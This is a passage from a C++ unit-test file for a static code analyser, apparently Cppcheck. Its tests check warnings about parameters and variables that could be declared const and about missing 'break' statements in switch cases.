ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { int &ref = p[0]; ref = 12; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int *p) { x[*p] = 12; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p || x) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p == 0) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (!p) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (*p > 123) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return *p + 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return *p > 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(const int* c) { if (c == 0) {}; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct a { void b(); };\\n\"\n \"struct c {\\n\"\n \" a* d;\\n\"\n \" a& g() { return *d; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct a { void b(); };\\n\"\n \"struct c { a* d; };\\n\"\n \"void e(c);\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct V {\\n\"\n \" V& get(typename std::vector::size_type i, std::vector* arr) {\\n\"\n \" return arr->at(i);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {};\\n\"\n \"struct B : A {};\\n\"\n \"B* f(A* x) {\\n\"\n \" return static_cast(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector* x) {\\n\"\n \" int& i = (*x)[0];\\n\"\n \" i++;\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a; };\\n\"\n \"A f(std::vector* x) {\\n\"\n \" x->front().a = 1;\\n\"\n \" return x->front();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector* v) {\\n\"\n \" for(auto&& x:*v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int* x;\\n\"\n \" A(int* y) : x(y)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int* x, int* y) {\\n\"\n \" int* z = x;\\n\"\n \" int* w = b ? y : z;\\n\"\n \" *w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int* x, int* y) {\\n\"\n \" int& z = *x;\\n\"\n \" int& w = b ? *y : z;\\n\"\n \" w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Base { virtual void dostuff(int *p) = 0; };\\n\" // #10397\n \"class Derived: public Base { int x; void dostuff(int *p) override { x = *p; } };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Data { char buf[128]; };\\n\" // #10483\n \"void encrypt(Data& data) {\\n\"\n \" const char a[] = \\\"asfasd\\\";\\n\"\n \" memcpy(data.buf, &a, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10547\n check(\"void foo(std::istream &istr) {\\n\"\n \" unsigned char x[2];\\n\"\n \" istr >> x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10744\n check(\"S& f() {\\n\"\n \" static S* p = new S();\\n\"\n \" return *p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10471\n check(\"void f(std::array const& i) {\\n\"\n \" if (i[0] == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10466\n check(\"typedef void* HWND;\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (const auto* h : v)\\n\"\n \" if (h) {}\\n\"\n \" for (const auto& h : v)\\n\"\n \" if (h) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:5:22]: (style) Variable 'h' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:22]: (style) Variable 'p' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const int* const& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const int* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:2:22]: (style) Variable 'p' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:33]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int* const p) {\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(int* const* pp) {\\n\"\n \" int* p = pp[0];\\n\"\n \" g(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template \\n\"\n \"struct S {\\n\"\n \" static bool f(const T& t) { return t != nullptr; }\\n\"\n \"};\\n\"\n \"S s;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef void* HWND;\\n\" // #11084\n \"void f(const HWND h) {\\n\"\n \" if (h == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"using HWND = void*;\\n\"\n \"void f(const HWND h) {\\n\"\n \" if (h == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef int A;\\n\"\n \"void f(A* x) {\\n\"\n \" if (x == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"using A = int;\\n\"\n \"void f(A* x) {\\n\"\n \" if (x == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"struct S { void v(); };\\n\" // #11095\n \"void f(S* s) {\\n\"\n \" (s - 1)->v();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #11085\n \" for (int* p : v) {\\n\"\n \" if (p) {}\\n\"\n \" }\\n\"\n \" for (auto* p : v) {\\n\"\n \" if (p) {}\\n\"\n \" }\\n\"\n \" v.clear();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:5:16]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" char a[1][1];\\n\"\n \" char* b[1];\\n\"\n \" b[0] = a[0];\\n\"\n \" **b = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"ptrdiff_t f(int *p0, int *p1) {\\n\" // #11148\n \" return p0 - p1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:18]: (style) Parameter 'p0' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:27]: (style) Parameter 'p1' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::array a{}, b{};\\n\"\n \" const std::array& r = a;\\n\"\n \" if (r == b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {};\\n\" // #11599\n \"void g(S);\\n\"\n \"void h(const S&);\\n\"\n \"void h(int, int, const S&);\\n\"\n \"void i(S&);\\n\"\n \"void j(const S*);\\n\"\n \"void j(int, int, const S*);\\n\"\n \"void f1(S* s) {\\n\"\n \" g(*s);\\n\"\n \"}\\n\"\n \"void f2(S* s) {\\n\"\n \" h(*s);\\n\"\n \"}\\n\"\n \"void f3(S* s) {\\n\"\n \" h(1, 2, *s);\\n\"\n \"}\\n\"\n \"void f4(S* s) {\\n\"\n \" i(*s);\\n\"\n \"}\\n\"\n \"void f5(S& s) {\\n\"\n \" j(&s);\\n\"\n \"}\\n\"\n \"void f6(S& s) {\\n\"\n \" j(1, 2, &s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:20:12]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:23:12]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:8:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:11:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:14:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void g(int, const int*);\\n\"\n \"void h(const int*);\\n\"\n \"void f(int* p) {\\n\"\n \" g(1, p);\\n\"\n \" h(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int, const int*);\\n\"\n \"void f(int i, int* p) {\\n\"\n \" f(i, const_cast(p));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a; };\\n\"\n \"void f(std::vector& v, int b) {\\n\"\n \" size_t n = v.size();\\n\"\n \" for (size_t i = 0; i < n; i++) {\\n\"\n \" S& s = v[i];\\n\"\n \" if (!(b & s.a))\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (style) Variable 's' can be declared as reference to const [constVariableReference]\\n\", errout_str()); // don't crash\n\n check(\"void f(int& i) {\\n\"\n \" new (&i) int();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"void f(int& i) {\\n\"\n \" int& r = i;\\n\"\n \" if (!&r) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Variable 'r' can be declared as reference to const [constVariableReference]\\n\", errout_str()); // don't crash\n\n check(\"class C;\\n\" // #11646\n \"void g(const C* const p);\\n\"\n \"void f(C* c) {\\n\"\n \" g(c);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Parameter 'c' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"typedef void (*cb_t)(int*);\\n\" // #11674\n \"void cb(int* p) {\\n\"\n \" if (*p) {}\\n\"\n \"}\\n\"\n \"void g(cb_t);\\n\"\n \"void f() {\\n\"\n \" g(cb);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7] -> [test.cpp:2:14]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'cb' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"typedef void (*cb_t)(int*);\\n\"\n \"void cb(int* p) {\\n\"\n \" if (*p) {}\\n\"\n \"}\\n\"\n \"void g(cb_t);\\n\"\n \"void f() {\\n\"\n \" g(::cb);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:2:14]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'cb' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"void f1(std::vector* p) {\\n\" // #11681\n \" if (p->empty()) {}\\n\" // warn\n \"}\\n\"\n \"void f2(std::vector* p) {\\n\"\n \" p->resize(0);\\n\"\n \"}\\n\"\n \"struct S {\\n\"\n \" void h1() const;\\n\"\n \" void h2();\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void k(int&);\\n\"\n \"void g1(S* s) {\\n\"\n \" s->h1();\\n\" // warn\n \"}\\n\"\n \"void g1(S* s) {\\n\"\n \" s->h2();\\n\"\n \"}\\n\"\n \"void g1(S* s) {\\n\"\n \" if (s->i) {}\\n\" // warn\n \"}\\n\"\n \"void g2(S* s) {\\n\"\n \" s->i = 0;\\n\"\n \"}\\n\"\n \"void g3(S* s) {\\n\"\n \" k(s->i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:13:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:19:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #11573\n \" const char* g() const {\\n\"\n \" return m;\\n\"\n \" }\\n\"\n \" const char* m;\\n\"\n \"};\\n\"\n \"struct T { std::vector v; };\\n\"\n \"void f(T* t, const char* n) {\\n\"\n \" for (const auto* p : t->v)\\n\"\n \" if (strcmp(p->g(), n) == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:11]: (style) Parameter 't' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int*& p, int* q) {\\n\"\n \" p = q;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a[1]; };\\n\"\n \"void f(S* s) {\\n\"\n \" if (s->a[0]) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"size_t f(char* p) {\\n\" // #11842\n \" return strlen(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void f(int* p) {\\n\" // #11862\n \" long long j = *(p++);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(void *p, size_t nmemb, size_t size, int (*cmp)(const void *, const void *)) {\\n\"\n \" qsort(p, nmemb, size, cmp);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(bool *r, std::size_t *b) {\\n\" // #12129\n \" if (*r && *b >= 5) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Parameter 'r' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:30]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int i) {\\n\" // #12185\n \" void* p = &i;\\n\"\n \" std::cout << p << '\\\\n';\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct S { const T* t; };\\n\" // #12206\n \"void f(S* s) {\\n\"\n \" if (s->t.i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(char *a1, char *a2) {\\n\" // #12252\n \" char* b = new char[strlen(a1) + strlen(a2) + 2];\\n\"\n \" sprintf(b, \\\"%s_%s\\\", a1, a2);\\n\"\n \" delete[] b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Parameter 'a1' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:24]: (style) Parameter 'a2' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"int f(int* p) {\\n\" // #11713\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:12]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int *src, int* dst) {\\n\" // #12518\n \" *dst++ = (int)*src++;\\n\"\n \" *dst++ = static_cast(*src++);\\n\"\n \" *dst = (int)*src;\\n\"\n \"}\\n\"\n \"void g(int* dst) {\\n\"\n \" (int&)*dst = 5;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'src' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {};\\n\"\n \"void f(T* t) {\\n\"\n \" S* s = (S*)t->p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:3:8]: (style) Variable 's' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str()); // don't crash\n\n check(\"struct S { int i; };\\n\" // #12205\n \"void f(S* s) {\\n\"\n \" (void)s->i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int* a, int* b, int i) {\\n\" // #13072\n \" a[b[i]] = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:21]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"int f(int* a, int* b, int i) {\\n\" // #13085\n \" a[*(b + i)] = 0;\\n\"\n \" return *(b + i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S { int a; };\\n\" // #13286\n \"void f(struct S* s) {\\n\"\n \" if ((--s)->a >= 0) {}\\n\"\n \"}\\n\"\n \"void g(struct S* s) {\\n\"\n \" --s;\\n\"\n \" if (s->a >= 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:5:18]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n }\n\n void constArray() {\n check(\"void f(std::array& a) {\\n\"\n \" if (a[0]) {}\\n\"\n \"}\\n\"\n \"void g(std::array& a) {\\n\"\n \" a.fill(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Parameter 'a' can be declared as const array [constParameterReference]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" static int i[1] = {};\\n\"\n \" return i[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Variable 'i' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" static int i[] = { 0 };\\n\"\n \" int j = i[0] + 1;\\n\"\n \" return j;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Variable 'i' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" const char *tmp;\\n\"\n \" char* a[] = { \\\"a\\\", \\\"aa\\\" };\\n\"\n \" static char* b[] = { \\\"b\\\", \\\"bb\\\" };\\n\"\n \" tmp = a[i];\\n\"\n \" printf(\\\"%s\\\", tmp);\\n\"\n \" tmp = b[i];\\n\"\n \" printf(\\\"%s\\\", tmp);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Variable 'a' can be declared as const array [constVariable]\\n\"\n \"[test.cpp:4:18]: (style) Variable 'b' can be declared as const array [constVariable]\\n\",\n errout_str());\n\n check(\"int f(int i, int j) {\\n\" // #13069\n \" int a[3][4] = {\\n\"\n \" { 2, 2, -1, -1 },\\n\"\n \" { 2, -1, 2, -1 },\\n\"\n \" { 2, -1, -1, 2 },\\n\"\n \" };\\n\"\n \" return a[j][i];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Variable 'a' can be declared as const array [constVariable]\\n\",\n errout_str());\n\n check(\"void f(int n, int v[42]) {\\n\" // #12796\n \" int j = 0;\\n\"\n \" for (int i = 0; i < n; ++i) {\\n\"\n \" j += 1;\\n\"\n \" if (j == 1) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:19]: (style) Parameter 'v' can be declared as const array [constParameter]\\n\",\n errout_str());\n }\n\n void switchRedundantAssignmentTest() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y = 2;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:11] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" if (x)\\n\"\n \" {\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y = 2;\\n\"\n \" if (z)\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = a;\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" x = 2;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" continue;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" throw e;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:10:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void bar() {}\\n\" // bar isn't noreturn\n \"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:11] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:6] -> [test.cpp:8]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strncpy(str, \\\"a'\\\");\\n\"\n \" case 3:\\n\"\n \" strncpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6] -> [test.cpp:8]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" int z = 0;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" z++;\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" z++;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:7] -> [test.cpp:10]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, 